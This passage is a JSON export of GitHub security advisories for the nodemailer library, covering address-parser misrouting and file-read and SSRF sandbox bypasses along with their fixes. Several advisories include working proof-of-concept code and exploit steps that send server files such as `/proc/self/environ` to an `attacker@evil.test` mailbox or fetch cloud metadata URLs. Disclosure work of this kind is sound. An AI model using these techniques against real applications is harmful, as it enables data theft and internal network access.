~80ms instead of ~25s, and every path scales linearly. A new `maxRecipients` option (default 100000) throws rather than truncating, as a backstop.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-09-08T21:33:17.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","references":["https://github.com/nodemailer/nodemailer/security/advisories/GHSA-2x7j-588g-ccc2","https://github.com/nodemailer/nodemailer/pull/1848","https://github.com/nodemailer/nodemailer/commit/34da64282dcdc9b0581c721a27ab2fa226673150","https://github.com/nodemailer/nodemailer/commit/7cc38af418ffa6fc7e86085195ca5ca681694b3e","https://github.com/nodemailer/nodemailer/commit/9116da9528c6524cefaed75185602a7e85d20434","https://github.com/nodemailer/nodemailer/releases/tag/v9.1.0","https://github.com/advisories/GHSA-2x7j-588g-ccc2"],"source_kind":"github","identifiers":["GHSA-2x7j-588g-ccc2"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-08T22:00:08.672Z","updated_at":"2026-10-24T21:01:00.091Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0yeDdqLTU4OGctY2NjMs4ABu9X","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS0yeDdqLTU4OGctY2NjMs4ABu9X","packages":[{"ecosystem":"npm","package_name":"nodemailer","versions":[{"first_patched_version":"9.1.0","vulnerable_version_range":"\u003c 9.1.0"}],"purl":"pkg:npm/nodemailer"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0yeDdqLTU4OGctY2NjMs4ABu9X/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1jYzlyLTJqNW0tMm04M84ABu9W","url":"https://github.com/advisories/GHSA-cc9r-2j5m-2m83","title":"Nodemailer: Recipient-domain validation bypass via RFC 5322 comment mis-parsing leads to email delivery to an attacker-controlled domain","description":"### Summary\n\nNodemailer's email-address parser treats an **RFC 5322 comment** `( ... )` inside the domain as a point to **concatenate** the surrounding text, rather than as folding whitespace (CFWS) that **terminates** the domain. Consequently a recipient address such as `user@good-corp.com(x)evil.com` is parsed and **delivered to `good-corp.comevil.com`** (registrable domain `comevil.com`, attacker‑controlled), while a conformant RFC 5322 parser terminates the domain at the comment and reads `good-corp.com`.\n\nAn application that decides *whether it is allowed to email a recipient* by parsing/validating the recipient's domain — with a strict RFC 5322 parser (used without inspecting parse defects) or with a naive prefix/substring allow‑list — and then hands the raw address to Nodemailer for delivery, can be induced to send mail to a domain the attacker controls. This is an **Interpretation Conflict (CWE‑436)**, the same class as CVE‑2025‑13033, reached through the RFC 5322 *comment* construct (the \"Comments\" technique in PortSwigger's *Splitting the email atom* research, which produced a Postfix fix).\n\nSeverity is **Moderate**: exploitation requires the app's domain check to disagree with Nodemailer (see **Impact** for exactly which parsers do and do not). Verified end‑to‑end against a real RFC 5321 SMTP server (nodemailer 9.0.6 → `aiosmtpd`).\n\n### Details\n\nRoot cause is in `lib/addressparser/index.js`.\n\n1. The tokenizer registers the comment as an operator pair (`Tokenizer.operators`):\n   ```js\n   '(': ')',            // line ~331\n   ```\n2. When the **closing** `)` is immediately followed by a non‑break character (anything other than space / tab / CR / LF / `,` / `;`), the tokenizer marks that operator token with `noBreak = true`:\n   ```js\n   // Tokenizer.checkChar, lines ~398-399\n   if (nextChr \u0026\u0026 ![' ', '\\t', '\\r', '\\n', ',', ';'].includes(nextChr)) {\n       this.node.noBreak = true;\n   }\n   ```\n3. `_handleAddress` then **glues** the token that follows the comment onto the token that preceded it (dropping the comment):\n   ```js\n   // _handleAddress, lines ~187-188\n   if (prevToken \u0026\u0026 prevToken.noBreak \u0026\u0026 data[state].length) {\n       data[state][data[state].length - 1] += token.value;   // \u003c-- concatenation\n   }\n   ```\n\nFor the input `user@good-corp.com(x)evil.com` the tokens are `text:\"user@good-corp.com\"`, `op:\"(\"`, `text:\"x\"`, `op:\")\"` (flagged `noBreak`), `text:\"evil.com\"`. Step 3 appends `evil.com` onto `user@good-corp.com`, producing the single domain **`good-corp.comevil.com`**. The comment content (`x`) is discarded into the display‑name field.\n\nRFC 5322 defines a comment as CFWS — semantically folding whitespace — and it may **not** appear inside a `dot-atom`. A comment therefore *separates* tokens and terminates the domain; the conformant reading of `good-corp.com(x)evil.com` is the domain `good-corp.com` (with the trailing `evil.com` being invalid/ignored). Nodemailer instead concatenates the two atoms across the removed comment, yielding a different, attacker‑registrable domain.\n\nNodemailer uses the parsed address for **both** the SMTP envelope (`getEnvelope()` → `RCPT TO`) and the emitted `To:`/`From:` headers, so the entire message is routed to the concatenated domain.\n\n**Related grammar defect (bonus, lower impact):** nested comments are legal in RFC 5322, but the tokenizer closes the comment at the *first* `)` (`chr === this.operatorExpecting`, line ~392), so a valid nested comment such as `user@x.com(a(b)c)` is mis‑balanced and mangled to `x.comc)`. That particular output contains a stray `)` and is **rejected** by a conformant MTA (501) — a bounce/robustness issue, not a misroute.\n\n**Suggested fix:** treat a comment as folding whitespace that terminates the current token — i.e. do **not** propagate `noBreak` across a comment‑closing `)` (restrict the `noBreak` optimization to quoted‑string closes), and support nested comments per RFC 5322. Equivalently, never emit a domain formed by concatenating two atoms that were separated only by a comment.\n\n### PoC\n\nEnvironment: Node.js ≥ 18 and the published `nodemailer@9.0.6`. No special transport configuration is required; the discrepancy is in address parsing.\n\n`poc-comment.js`:\n```js\n'use strict';\nconst net = require('net');\nconst nodemailer = require('nodemailer'); // 9.0.6\n\nconst TRUSTED   = 'good-corp.com';\nconst RECIPIENT = 'user@good-corp.com(x)evil.com'; // RFC 5322 comment (x) between two domains\n\n// tiny SMTP sink that prints the literal RCPT TO nodemailer transmits\nconst server = net.createServer(sock =\u003e {\n  let buf = ''; sock.write('220 sink\\r\\n');\n  sock.on('data', d =\u003e { buf += d; let i;\n    while ((i = buf.indexOf('\\r\\n')) \u003e= 0) { const line = buf.slice(0, i); buf = buf.slice(i + 2);\n      const u = line.toUpperCase();\n      if (u.startsWith('EHLO')) sock.write('250-sink\\r\\n250 8BITMIME\\r\\n');\n      else if (u.startsWith('RCPT')) { console.log('nodemailer transmits :', line); sock.write('250 ok\\r\\n'); }\n      else if (u.startsWith('DATA')) sock.write('354 go\\r\\n');\n      else if (line === '.') sock.write('250 ok\\r\\n');\n      else if (u.startsWith('QUIT')) { sock.write('221 bye\\r\\n'); sock.end(); }\n      else sock.write('250 ok\\r\\n'); } });\n});\nserver.listen(0, '127.0.0.1', async () =\u003e {\n  const t = nodemailer.createTransport({ host: '127.0.0.1', port: server.address().port, secure: false });\n  await t.sendMail({ from: 'app@good-corp.com', to: RECIPIENT, subject: 'hi', text: 'x' });\n  t.close(); server.close();\n});\n```\n\nRun:\n```\nnpm init -y \u0026\u0026 npm install nodemailer@9.0.6\nnode poc-comment.js\n```\n\nActual output (nodemailer 9.0.6):\n```\nnodemailer transmits : RCPT TO:\u003cuser@good-corp.comevil.com\u003e\n```\n\nThe application asked to mail `user@good-corp.com(x)evil.com`; Nodemailer delivers to `good-corp.comevil.com` — registrable domain `comevil.com`, which an attacker can register.\n\n**Verified against a real RFC 5321 server** (containerized lab included with this report — `docker compose up --build`, case `R8_comment_glue`, receiver = `aiosmtpd`):\n```\nwire RCPT TO                     : RCPT TO:\u003cuser@good-corp.comevil.com\u003e\nreal server                      : ACCEPTED (250)\nrecipient parsed by real server  : user@good-corp.comevil.com   (domain good-corp.comevil.com)\ndelivered To header              : x \u003cuser@good-corp.comevil.com\u003e\n```\n\n**Which parser sees what** (the crux of exploitability):\n\n| Parser used by the application to gate/route | Domain it reads from `user@good-corp.com(x)evil.com` | Deceived? |\n|---|---|---|\n| Python `email.policy.default` (strict RFC 5322) | `good-corp.com` *(flags `InvalidHeaderDefect`)* | Yes, if defects are not checked |\n| Naive prefix / substring allow‑list (`startsWith`/`includes('@good-corp.com')`) | `good-corp.com` | Yes |\n| Nodemailer's own `addressparser` | `good-corp.comevil.com` | No |\n| Python `email.utils.getaddresses` | `good-corp.comevil.com` | No |\n| WHATWG `url.domainToASCII` | `good-corp.com(x)evil.com` | No |\n\n### Impact\n\n\n\n* **Who is impacted:** applications that make a security or routing decision on the recipient **domain** using a parser that terminates the domain at the comment, while relying on Nodemailer for delivery — specifically those that validate with a strict RFC 5322 parser **without inspecting parse defects**, or with a **prefix/substring/allow‑list** check (e.g. \"only send to `@good-corp.com`\", employee‑only flows, \"same‑tenant\" routing). Applications that validate with Nodemailer's own `addressparser`, `email.utils.getaddresses`, or `url.domainToASCII` are **not** affected, which is why this is rated below the IDN/Punycode issue.\n\n## Patched in 9.1.0\n\nFixed in [902b63e](https://github.com/nodemailer/nodemailer/commit/902b63e).\n\nNot propagating `noBreak` across the closing `)` on its own breaks valid addresses, because CFWS is legal on either side of the `@`: `user@(x)good-corp.com` and `user(x)@good-corp.com` both come out mangled. A comment now joins what it separates only when one side carries the `@`, so those keep resolving while `user@good-corp.com(x)evil.com` terminates at `good-corp.com`.\n\nQuoted-string and angle-address joining are unchanged. Nested comments are still not modelled, but the misroute is gone: `user@x.com(a(b)c)` now yields `user@x.com`.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-09-08T21:32:51.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.5,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N","references":["https://github.com/nodemailer/nodemailer/security/advisories/GHSA-cc9r-2j5m-2m83","https://github.com/nodemailer/nodemailer/pull/1848","https://github.com/nodemailer/nodemailer/commit/902b63e935435c30f4025901c0902dce64cd8880","https://github.com/nodemailer/nodemailer/releases/tag/v9.1.0","https://github.com/advisories/GHSA-cc9r-2j5m-2m83"],"source_kind":"github","identifiers":["GHSA-cc9r-2j5m-2m83"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-08T22:00:08.672Z","updated_at":"2026-10-24T21:01:00.092Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jYzlyLTJqNW0tMm04M84ABu9W","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1jYzlyLTJqNW0tMm04M84ABu9W","packages":[{"ecosystem":"npm","package_name":"nodemailer","versions":[{"first_patched_version":"9.1.0","vulnerable_version_range":"\u003e= 6.9.16, \u003c 9.1.0"}],"purl":"pkg:npm/nodemailer"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jYzlyLTJqNW0tMm04M84ABu9W/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS04bTNjLWM2NDgtMnhqas4ABu87","url":"https://github.com/advisories/GHSA-8m3c-c648-2xjj","title":"Nodemailer: resolveContent() on a MailMessage bypasses disableFileAccess/disableUrlAccess when called with the legacy signature","description":"### Summary\n\nNodemailer's `disableFileAccess` / `disableUrlAccess` options are a security sandbox that lets an application forbid untrusted message content (`html`/`text`/attachment `path`/`href`) from reading local files or making outbound HTTP(S) requests. The fix for GHSA-wqvq-jvpq-h66f (commit `5f69497`) threaded these flags through the library's internal resolution paths (`MailMessage.resolveAll()` and `_convertDataImages()`), but the public plugin API `MailMessage.resolveContent(...args)` (`lib/mailer/mail-message.js:41-43`) remains a raw passthrough to `shared.resolveContent()`.\n\nWhen called with the documented legacy signature `mail.resolveContent(data, key, callback)`, `shared.resolveContent` normalizes the missing options argument to an empty object (`options = options || {}`, `lib/shared/index.js:530`). The message-level flags that the `MailMessage` constructor already copied into `mail.data` (`lib/mailer/mail-message.js:34-38`) are silently discarded, so `resolveContentValue` skips both access-control guards and reaches `nmfetch(url)` (SSRF, `lib/shared/index.js:588`) or `fs.createReadStream(path)` (arbitrary file read, `lib/shared/index.js:597`).\n\nA plugin or application code that resolves message content through the documented API (the same API the library's own `_convertDataImages` uses, threading the flags explicitly) thereby bypasses the sandbox an application deliberately enabled.\n\n### Details\n\nRoot cause. The `MailMessage` constructor stores the transporter-level sandbox flags on the message object (`lib/mailer/mail-message.js:34-38`):\n\n```js\n['disableFileAccess', 'disableUrlAccess', 'normalizeHeaderKey', 'maxRecipients'].forEach(key =\u003e {\n    if (key in options) {\n        this.data[key] = options[key];\n    }\n});\n```\n\nThe public resolver is a pure passthrough (`lib/mailer/mail-message.js:41-43`):\n\n```js\nresolveContent(...args) {\n    return shared.resolveContent(...args);\n}\n```\n\n`shared.resolveContent` supports the legacy 3-argument signature and collapses the missing options to `{}` (`lib/shared/index.js:524-530`):\n\n```js\nmodule.exports.resolveContent = (data, key, options, callback) =\u003e {\n    // options is optional; support the legacy resolveContent(data, key, callback) signature\n    if (!callback \u0026\u0026 typeof options === 'function') {\n        callback = options;\n        options = false;\n    }\n    options = options || {};\n    ...\n    resolveContentValue(data, key, options, callback);\n```\n\n`resolveContentValue` then checks `options.disableUrlAccess` / `options.disableFileAccess` (`lib/shared/index.js:581` / `:590`), both `undefined` for the legacy signature, so it falls through to `nmfetch` (`:588`) or `fs.createReadStream` (`:597`).\n\nContrast with the fixed paths. `resolveAll()` (`lib/mailer/mail-message.js:112-115`) and `_convertDataImages()` (`lib/mailer/index.js:437-440`) both pass the message flags explicitly. The MIME streaming path (`lib/mime-node/index.js:1059-1077`) also honors the flags. So an application that enables the sandbox and then calls `transporter.sendMail()` is protected; the bypass appears only when message content is resolved through the public legacy-signature API — which is the documented plugin usage (the `resolveContent` JSDoc at `lib/shared/index.js:510-523` states it is \"useful when you want to create a plugin that needs a content value\").\n\nAffected versions. Confirmed on `9.1.0` (HEAD `efd6e29c10c6e0c25c57bd2f2a71302838235a4f`, the current npm latest). The gap was introduced by the GHSA-wqvq-jvpq-h66f fix and is still present; the public API has no regression coverage (`test/mailer/mail-message-test.js` contains no `resolveContent` test).\n\n### PoC\n\nRequires: `nodemailer@9.1.0`, a readable local file, and any reachable HTTP endpoint (loopback suffices). Non-destructive; no network egress beyond a local listener.\n\n```js\n'use strict';\nconst nodemailer = require('nodemailer');\nconst MailMessage = require('nodemailer/lib/mailer/mail-message');\n\nconst TARGET_FILE = '/app/src/package.json';   // any readable local file\nconst SSRF_URL = 'http://http-sink:8080/poc-ssrf'; // any local/internal HTTP target\n\nconst transporter = nodemailer.createTransport({\n    streamTransport: true,\n    disableFileAccess: true,   // sandbox explicitly enabled\n    disableUrlAccess: true\n});\n\nconst data = {\n    from: 'a@example.com', to: 'b@example.com', subject: 'poc', text: 'hello',\n    html: { path: TARGET_FILE },\n    attachments: [{ filename: 'x.bin', href: SSRF_URL }]\n};\nconst mail = new MailMessage(transporter, data);\n// mail.data.disableFileAccess === true, mail.data.disableUrlAccess === true\n\n// Documented legacy plugin signature — options argument omitted:\nmail.resolveContent(mail.data, 'html', (err, value) =\u003e {\n    if (err) return console.log('BLOCKED', err.code);\n    console.log('FILE_READ_OK len=', value.length);          // -\u003e 1647 (package.json)\n});\nmail.resolveContent(mail.data.attachments, 0, (err, body) =\u003e {\n    if (err) return console.log('BLOCKED', err.code);\n    console.log('URL_FETCH_OK body=', body.toString());      // -\u003e fetched response\n});\n```\n\nObserved output on the audit environment (Node 22, `nodemailer@9.1.0`):\n\n```text\nmail.data.disableFileAccess = true | disableUrlAccess = true\n[CONTROL resolveAll] err = EFILEACCESS : File access rejected for /app/src/package.json\n[CONTROL html.path explicit-options] err = EFILEACCESS\n[BYPASS html.path legacy] READ OK len = 1647 head = \"{\\n    \\\"name\\\": \\\"nodemailer\\\",\\n    \\\"version\\\": \\\"9.1.0\\\",\\n    \\\"des\"\n[BYPASS att[0].href legacy] FETCH OK len = 13 body = \"HTTP-SINK OK\\n\"\n```\n\nThe negative controls (`resolveAll`, and `resolveContent` with explicit `{ disableFileAccess: true }`) return `EFILEACCESS`, proving the sandbox works on the protected paths and only the legacy-signature passthrough is bypassed. The same bypass reproduces inside a real `transporter.sendMail()` flow when a `compile` plugin calls `mail.resolveContent(mail.data, 'html', cb)` / `mail.resolveContent(mail.data.attachments, 0, cb)`.\n\n### Impact\n\nAn application that enables `disableFileAccess` / `disableUrlAccess` to contain untrusted message content and that resolves content through the documented plugin API (`mail.resolveContent(data, key, callback)`) has its sandbox silently bypassed:\n\n- Arbitrary local file disclosure: a message `html`/attachment `path` pointing at a server file (`/etc/passwd`, `.env`, key material) is read and returned to the caller / delivered in the message.\n- Server-side request forgery: a message `href` pointing at an internal or loopback URL is fetched from the application host.\n\nReachability precondition: the sandbox flags must be enabled (default off) and the application or its plugin must invoke the documented legacy-signature API on attacker-influenced data. The default `transporter.sendMail()` path remains protected, so this is a defense-in-depth gap in the library's own access-control enforcement rather than a default-flow bypass. It is the same vulnerability class as the previously accepted GHSA-wqvq-jvpq-h66f (CVE-2026-82660) and GHSA-p6gq-j5cr-w38f (CVE-2026-82659), on a distinct third code path.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-09-08T21:16:00.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.9,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:L/A:N","references":["https://github.com/nodemailer/nodemailer/security/advisories/GHSA-8m3c-c648-2xjj","https://github.com/nodemailer/nodemailer/commit/ab7ef348b9a97b1fd70e7bfbeb56d4ea4a07946b","https://github.com/nodemailer/nodemailer/commit/dc48ed395c4d6c79ee5c95eb6eff17bafe391474","https://github.com/nodemailer/nodemailer/releases/tag/v9.1.1","https://github.com/advisories/GHSA-8m3c-c648-2xjj"],"source_kind":"github","identifiers":["GHSA-8m3c-c648-2xjj"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-08T22:00:08.672Z","updated_at":"2026-10-24T21:01:00.117Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04bTNjLWM2NDgtMnhqas4ABu87","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS04bTNjLWM2NDgtMnhqas4ABu87","packages":[{"ecosystem":"npm","package_name":"nodemailer","versions":[{"first_patched_version":"9.1.1","vulnerable_version_range":"\u003c= 9.1.0"}],"purl":"pkg:npm/nodemailer"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04bTNjLWM2NDgtMnhqas4ABu87/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1mcmo2LTVyaGgtdndmd84ABmJo","url":"https://github.com/advisories/GHSA-frj6-5rhh-vwfw","title":"Duplicate Advisory: Nodemailer: Improper TLS Certificate Validation in OAuth2 Token Fetch Enables Credential Interception","description":"## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-r7g4-qg5f-qqm2. This link is maintained to preserve external references.\n\n## Original Description\nNodemailer before 8.0.8 disables TLS certificate verification in lib/fetch/index.js through rejectUnauthorized: false, allowing attackers to intercept OAuth2 token requests. Attackers in a machine-in-the-middle position can capture OAuth client secrets, refresh tokens, and access tokens transmitted over compromised HTTPS connections.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-08-31T09:30:29.000Z","withdrawn_at":"2026-10-05T22:51:40.000Z","classification":"GENERAL","cvss_score":8.3,"cvss_vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","references":["https://github.com/nodemailer/nodemailer/security/advisories/GHSA-r7g4-qg5f-qqm2","https://nvd.nist.gov/vuln/detail/CVE-2026-82662","https://www.vulncheck.com/advisories/nodemailer-before-8.0.8-tls-certificate-validation-bypass","https://github.com/advisories/GHSA-frj6-5rhh-vwfw"],"source_kind":"github","identifiers":["GHSA-frj6-5rhh-vwfw"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-10-05T23:00:12.773Z","updated_at":"2026-10-24T21:00:39.446Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1mcmo2LTVyaGgtdndmd84ABmJo","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1mcmo2LTVyaGgtdndmd84ABmJo","packages":[{"ecosystem":"npm","package_name":"nodemailer","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 8.0.7"}],"purl":"pkg:npm/nodemailer"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1mcmo2LTVyaGgtdndmd84ABmJo/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1oM2hqLWNtY3gteGM2Ns4ABmJ4","url":"https://github.com/advisories/GHSA-h3hj-cmcx-xc66","title":"Duplicate Advisory: Nodemailer: Message-level raw option bypasses disableFileAccess/disableUrlAccess, enabling arbitrary file read and full-response SSRF in the delivered message","description":"## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-p6gq-j5cr-w38f. This link is maintained to preserve external references.\n\n## Original Description\nnodemailer before 9.0.1 fails to apply disableFileAccess and disableUrlAccess flags to message-level raw option, allowing authenticated attackers to read arbitrary files or perform server-side request forgery by supplying path or href properties. Attackers can exploit this by crafting raw messages with file paths or URLs that bypass the intended sandbox, with fetched content delivered in the outgoing message to attacker-controlled recipients.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-08-31T09:30:29.000Z","withdrawn_at":"2026-09-02T14:47:12.000Z","classification":"GENERAL","cvss_score":7.1,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","references":["https://github.com/nodemailer/nodemailer/security/advisories/GHSA-p6gq-j5cr-w38f","https://nvd.nist.gov/vuln/detail/CVE-2026-82659","https://www.vulncheck.com/advisories/nodemailer-before-9.0.1-file-read-and-ssrf-via-raw-option","https://github.com/advisories/GHSA-h3hj-cmcx-xc66"],"source_kind":"github","identifiers":["GHSA-h3hj-cmcx-xc66"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-02T15:00:10.720Z","updated_at":"2026-10-24T21:01:08.728Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1oM2hqLWNtY3gteGM2Ns4ABmJ4","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1oM2hqLWNtY3gteGM2Ns4ABmJ4","packages":[{"ecosystem":"npm","package_name":"nodemailer","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 9.0.0"}],"purl":"pkg:npm/nodemailer"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1oM2hqLWNtY3gteGM2Ns4ABmJ4/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1wNmdxLWo1Y3ItdzM4Zs4ABZFy","url":"https://github.com/advisories/GHSA-p6gq-j5cr-w38f","title":"Nodemailer: Message-level raw option bypasses disableFileAccess/disableUrlAccess, enabling arbitrary file read and full-response SSRF in the delivered message","description":"# Message-level `raw` option bypasses `disableFileAccess` / `disableUrlAccess`, enabling arbitrary file read and full-response SSRF in the sent message\n\n- **Target:** nodemailer/nodemailer, npm `nodemailer` **v9.0.0** (HEAD `4e58450eb490e5097a74b2b2cce35a8d9e21856e`)\n- **Verdict:** CONFIRMED (local PoC, no network)\n\n## Summary\n\nNodemailer exposes `disableFileAccess` and `disableUrlAccess` so an application that passes\n**untrusted** message data to the library can forbid that data from reading local files or\nfetching URLs. Every attachment, alternative, `html`/`text`/`watchHtml`/`amp` and `icalEvent`\ncontent node honors these flags. **The message-level `raw` option does not.**\n\n`MailComposer.compile()` builds the root MIME node for a `raw` message **without** threading the\ntwo flags, so a `raw: { path: '/etc/passwd' }` or `raw: { href: 'http://169.254.169.254/…' }`\nmessage is read / fetched anyway, and the file or HTTP-response bytes become the **actual\nmessage that is sent** by every transport (SMTP, SES, sendmail, stream, JSON). An actor whose\ninput the application intended to sandbox therefore obtains arbitrary local-file disclosure and\na full-response SSRF primitive, delivered to a recipient the same actor can choose.\n\nThis is the same vulnerability class as the already-published jsonTransport advisory\n**GHSA-wqvq-jvpq-h66f**, but a **distinct code path** (`raw` root node, not `normalize()`), and\nstrictly higher impact: the jsonTransport bug only affected the locally-returned JSON, whereas\nthis affects the delivered RFC822 message for all transports.\n\n## Affected component\n\n- `lib/mail-composer/index.js:34-35` — root cause:\n  ```js\n  if (this.mail.raw) {\n      this.message = new MimeNode('message/rfc822', { newline: this.mail.newline }).setRaw(this.mail.raw);\n  }\n  ```\n  The `MimeNode` is constructed with only `{ newline }`. Compare the sibling node builders\n  `_createMixed`/`_createAlternative`/`_createRelated`/`_createContentNode`\n  (`lib/mail-composer/index.js:389-527`), which all pass\n  `disableUrlAccess: this.mail.disableUrlAccess, disableFileAccess: this.mail.disableFileAccess`.\n- `lib/mime-node/index.js:51-52` — the constructor derives `this.disableFileAccess`/\n  `this.disableUrlAccess` solely from its own `options`; children do **not** inherit a parent's\n  flags (`createChild`/`appendChild`, lines 175-194, pass options through verbatim).\n- `lib/mime-node/index.js:812` — `setRaw()` content is resolved through `this._getStream(this._raw)`.\n- `lib/mime-node/index.js:984-1010` — `_getStream` reads the file (`fs.createReadStream`, 995) or\n  fetches the URL (`nmfetch`, 1009) **only guarded by `this.disableFileAccess`/`this.disableUrlAccess`**,\n  which on the `raw` root node are `false`.\n- Reached from the normal send flow at `lib/mailer/index.js:188`\n  (`mail.message = new MailComposer(mail.data).compile()`), so every transport is affected.\n\n## Reachability gate (hop-by-hop)\n\n1. **Source.** Application calls `transporter.sendMail({ raw: \u003cuserControlled\u003e , to: \u003cuserControlled\u003e })`\n   with `disableFileAccess: true` and/or `disableUrlAccess: true` configured on the transporter\n   (forced onto `mail.data` in `lib/mailer/mail-message.js:36-40`) or per message. This is the\n   exact scenario the flags exist for — the same precondition under which GHSA-wqvq-jvpq-h66f was\n   accepted.\n2. **Guard — the access flags.** For attachments the flag is enforced: a node created by\n   `_createContentNode` carries `disableFileAccess`, so `_getStream` throws `EFILEACCESS`.\n   **Bypass:** the `raw` branch (`compile():34-35`) never sets the flag on its node, so\n   `this.disableFileAccess === false` and the guard at `mime-node:985` / `:999` is skipped.\n   There is no other validation between `mail.raw` and the read; `raw` content shapes\n   (`{path}`, `{href}`, stream, string, buffer) are accepted as-is by `setRaw`/`_getStream`.\n3. **Sink.** `fs.createReadStream(content.path)` (file disclosure) or\n   `nmfetch(content.href, …)` (SSRF). The resulting bytes are emitted as the message body by\n   `createReadStream()`, which every transport pipes to its destination\n   (`smtp-transport:233`, `smtp-pool/pool-resource:208`, `ses-transport:96`, `sendmail-transport:184`,\n   `stream-transport:67`).\n\nNo guard blocks the chain; the only guard (the access flags) is structurally absent on this node.\n\n## Root cause\n\nInconsistent enforcement: the access policy is applied per-`MimeNode` via constructor options and\nmust be re-passed at every node creation. The `raw`-message shortcut in `compile()` omits it,\nwhile all five other node builders include it. The flags are therefore enforced for every content\ntype *except* the one that lets the caller supply a complete message body by path/URL.\n\n## Exploit path\n\nApplication that sandboxes untrusted mail input (`disableFileAccess`/`disableUrlAccess` set):\n\n1. Untrusted actor supplies `raw: { path: '/proc/self/environ' }` (or any server file:\n   `/app/.env`, key material, etc.) and `to: attacker@evil.test`.\n2. `compile()` builds the raw root node without the flags; the transport reads the file and sends\n   its contents as the message → **arbitrary server-file exfiltration to an attacker-chosen mailbox.**\n3. Alternatively `raw: { href: 'http://127.0.0.1:8080/admin' }` or a cloud metadata URL →\n   Nodemailer fetches it server-side and delivers the full response body in the email →\n   **full-response SSRF** (no blind-channel limitation).\n\n## Impact\n\n- **Confidentiality (High):** arbitrary local file read disclosed in the outgoing message;\n  full-response SSRF to internal/metadata endpoints, also disclosed in the message.\n- **Integrity (Low):** attacker-fetched/file content is injected into the delivered mail.\n- The two protective flags an application relies on to contain untrusted input are silently\n  ineffective for `raw`.\n\n## Preconditions\n\nThe application (a) passes `disableFileAccess` and/or `disableUrlAccess` (the documented sandboxing\nflags) and (b) lets untrusted input influence the `raw` field (and, for maximal disclosure, `to`).\nNo other configuration is required; all bundled transports are affected. This mirrors the accepted\nprecondition of GHSA-wqvq-jvpq-h66f.\n\n## Severity\n\n- **AV** — message data routinely originates over the network in the apps these flags protect.\n- **AC** — a single crafted `raw` object; deterministic.\n- **PR** — the actor is a user whose input the app already treats as untrusted (the reason the\n  flags are set); not fully anonymous in the typical deployment.\n- **UI** — no victim interaction.\n- **S** — impact within Nodemailer's process scope.\n- **C** — arbitrary file read **and** full-response SSRF, both delivered to an attacker-chosen\n  recipient. (The sibling jsonTransport advisory used C:L because its leak stayed in locally-returned\n  JSON; here the bytes leave the system in the sent message, so C:H is warranted.)\n- **I** — attacker injects fetched/file bytes into the outgoing message.\n- **A**.\nNote: if a deployment fixes the recipient (`to` not attacker-controlled) the disclosure channel\nnarrows and the rating degrades toward the sibling's Medium; the High rating reflects the\nreasonable worst case where `raw` and `to` are both untrusted.\n\n## Adversarial re-read (attempts to refute)\n\n1. **\"`raw` content is by-design trusted, so the flags shouldn't apply.\"** Rejected: every other\n   content path (attachments, alternatives, html/text, icalEvent) honors the flags, and the\n   maintainer already accepted 